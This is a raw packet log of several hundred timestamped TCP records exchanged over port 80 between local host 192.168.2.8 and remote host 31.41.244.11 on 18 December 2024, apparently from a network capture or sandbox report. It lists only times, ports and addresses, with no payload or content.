Dec 18, 2024 09:07:21.364623070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364672899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.518506050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518579006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518620968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518659115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518692970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518716097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.518728971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.518752098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.518773079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.519407988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.519443989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.519469023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.519479036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.519486904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.519526005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.520215034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.520270109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.520299911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.520334959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.520348072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.520380020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.521187067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.521220922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.521238089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.521255970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.521267891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.521306038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.521891117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.521950960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.522017002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.522051096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.522062063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.522099972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.522789955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.522841930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.522902012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.522937059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.522953033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.522980928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.523653984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.523766994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.523773909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.523782969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.523808002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.523818970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.524533987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.524544954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.524557114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.524584055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.524607897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.525441885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.525454998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.525487900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.525501013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.525501013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.525553942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.526344061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.526355982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.526366949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.526391029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.526417971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.527365923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.527375937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.527386904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.527415991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.527436018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.527940989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.527988911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.528083086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.528094053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.528125048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.528835058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.528884888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.528912067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.528922081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.528955936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.529746056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.529774904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.529786110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.529795885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.529807091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.529813051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.530702114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.530711889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.530723095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.530754089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.530769110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.531455040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.531603098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.531615019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.531651020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.532334089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.532377958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.532439947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.532452106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.532490969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.533212900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.533256054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.533263922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.533273935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.533296108 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.533310890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.534372091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.534406900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.534440041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.534442902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.534460068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.534483910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.535075903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.535109997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.535125971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.535145044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.535150051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.535183907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.536091089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.536124945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.536144972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.536160946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.536168098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.536202908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.536861897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.536914110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.536986113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.537019968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.537033081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.537058115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538731098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538783073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538781881 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538815975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538826942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538849115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538855076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538882971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538896084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538917065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538918018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538950920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.538952112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.538986921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.539659977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.539694071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.539716005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.539738894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.539741993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.539783001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.540534973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.540568113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.540580034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.540604115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.540608883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.540654898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.541507006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.541539907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.541570902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.541570902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.541575909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.541625023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.542588949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.542622089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.542638063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.542659998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.542660952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.542706013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.543081045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.543131113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.543200970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.543236017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.543247938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.543275118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544008017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544040918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544055939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544075012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544091940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544111967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544815063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544914007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544920921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544955969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.544967890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.544996023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.545783043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.545816898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.545845985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.545852900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.545867920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.545890093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.546730995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.546763897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.546798944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.546814919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.546844006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.547411919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.547512054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.547548056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.547570944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.547596931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.548365116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.550503969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.709619999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.709667921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.709705114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.709801912 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.709851027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.709914923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.709961891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.709971905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.710007906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.710016966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.710048914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.710619926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.710669994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.710675955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.710711002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.710724115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.710752010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.711612940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.711647034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.711663961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.711683989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.711688042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.711731911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.712397099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.712431908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.712445974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.712470055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.712486982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.712517977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.713224888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.713273048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.713279963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.713323116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.713336945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.713366985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.714148998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.714183092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.714200020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.714219093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.714226961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.714256048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.715249062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715284109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715298891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.715326071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.715348005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715390921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.715917110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715950966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715967894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.715986013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.715991974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.716031075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717030048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717062950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717080116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717097998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717109919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717175007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717571020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717619896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717626095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717659950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.717670918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.717703104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.718513966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.718547106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.718569040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.718581915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.718589067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.718622923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.719281912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.719335079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.719399929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.719436884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.719449043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.719485998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.720321894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.720355034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.720371008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.720391035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.720401049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.720438957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.721232891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.721266985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.721282005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.721302986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.721307039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.721347094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.721923113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.721972942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.722484112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.722520113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.722531080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.722563982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.722836018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.722868919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.722887039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.722904921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.722910881 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.722944975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.723642111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.723691940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.723762035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.723795891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.723803997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.723836899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.724741936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.724775076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.724792004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.724812984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.724818945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.724862099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.725760937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.725795031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.725810051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.725831032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.725841045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.725883007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.726442099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.726475000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.726491928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.726511002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.726521969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.726557016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.727113008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.727205992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.727211952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.727246046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.727260113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.727288961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.728287935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.728338003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.728351116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.728374004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.728379965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.728420973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.728873968 CET	80	49714	31.41.244.11	192.168.2.8
